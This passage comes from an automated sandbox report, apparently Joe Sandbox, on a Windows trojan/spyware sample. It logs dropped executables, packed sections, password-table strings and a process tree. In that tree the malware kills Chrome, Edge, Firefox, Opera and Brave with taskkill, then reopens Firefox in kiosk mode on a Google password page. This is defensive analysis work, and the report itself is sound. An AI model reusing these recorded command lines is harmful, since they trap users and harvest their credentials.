Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C73DE10	4_2_6C73DE10
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C653EC0	4_2_6C653EC0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C665F20	4_2_6C665F20
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C625F30	4_2_6C625F30
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C787F20	4_2_6C787F20
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6DBFF0	4_2_6C6DBFF0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C74DFC0	4_2_6C74DFC0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C7B3FC0	4_2_6C7B3FC0

Dropped file seen in connection with other malware

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Found potential string decryption / allocating functions

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: String function: 6C769F30 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: String function: 6C659B10 appears 73 times
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: String function: 6C653620 appears 66 times

Uses 32bit PE files

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9995616749174917
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981267029972752
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: Section: tsfqqygy ZLIB complexity 0.9944536857057417
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: Section: xisdcata ZLIB complexity 0.9949372386961908
Source: skotes.exe.3.dr	Static PE information: Section: ZLIB complexity 0.9981267029972752
Source: skotes.exe.3.dr	Static PE information: Section: tsfqqygy ZLIB complexity 0.9944536857057417
Source: random[1].exe.10.dr	Static PE information: Section: ZLIB complexity 0.9995616749174917
Source: 2ffb915ad7.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9995616749174917
Source: random[1].exe0.10.dr	Static PE information: Section: xisdcata ZLIB complexity 0.9949372386961908
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: Section: ZLIB complexity 0.9981267029972752
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: Section: tsfqqygy ZLIB complexity 0.9944536857057417
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: Section: xisdcata ZLIB complexity 0.9949372386961908

Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe0.10.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2240131316.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.0000000000531000.00000040.00000001.01000000.00000008.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@57/49@64/12

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Code function: 4_2_6C690300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

4_2_6C690300

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\C8EUNB2B.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7328:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2920:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1100:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:616:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6692:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498503453.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498503453.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498503453.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498503453.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498503453.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498503453.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498503453.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000003.2079214427.0000000005AA6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2066509554.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2066881669.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2349972696.000000001D540000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2352976688.00000000013AC000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2324652240.000000000135E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2332942897.000000001D524000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3000594956.00000000052A9000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.0000000005289000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3026532048.00000000052AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498503453.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498503453.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: RIHOEX26J337XMDAUSF1C246W.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe "C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe "C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe"
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe "C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe "C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe "C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe "C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe"
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2180 -parentBuildID 20230927232528 -prefsHandle 2072 -prefMapHandle 2068 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0b4faddb-860d-4b71-a829-afd66ea2d4d8} 7308 "\\.\pipe\gecko-crash-server-pipe.7308" 1ee1ea6df10 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001069001\num.exe "C:\Users\user\AppData\Local\Temp\1001069001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4224 -parentBuildID 20230927232528 -prefsHandle 3972 -prefMapHandle 4020 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c6cd9aed-375f-4196-afd9-d6d064195543} 7308 "\\.\pipe\gecko-crash-server-pipe.7308" 1ee31012010 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe "C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe "C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe"
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process created: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe "C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001069001\num.exe "C:\Users\user\AppData\Local\Temp\1001069001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process created: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe "C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe"
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process created: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe "C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe "C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe "C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe "C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe "C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe "C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001069001\num.exe "C:\Users\user\AppData\Local\Temp\1001069001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process created: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe "C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe"
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process created: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe "C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe"
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process created: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe "C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe"
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2180 -parentBuildID 20230927232528 -prefsHandle 2072 -prefMapHandle 2068 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0b4faddb-860d-4b71-a829-afd66ea2d4d8} 7308 "\\.\pipe\gecko-crash-server-pipe.7308" 1ee1ea6df10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4224 -parentBuildID 20230927232528 -prefsHandle 3972 -prefMapHandle 4020 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c6cd9aed-375f-4196-afd9-d6d064195543} 7308 "\\.\pipe\gecko-crash-server-pipe.7308" 1ee31012010 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
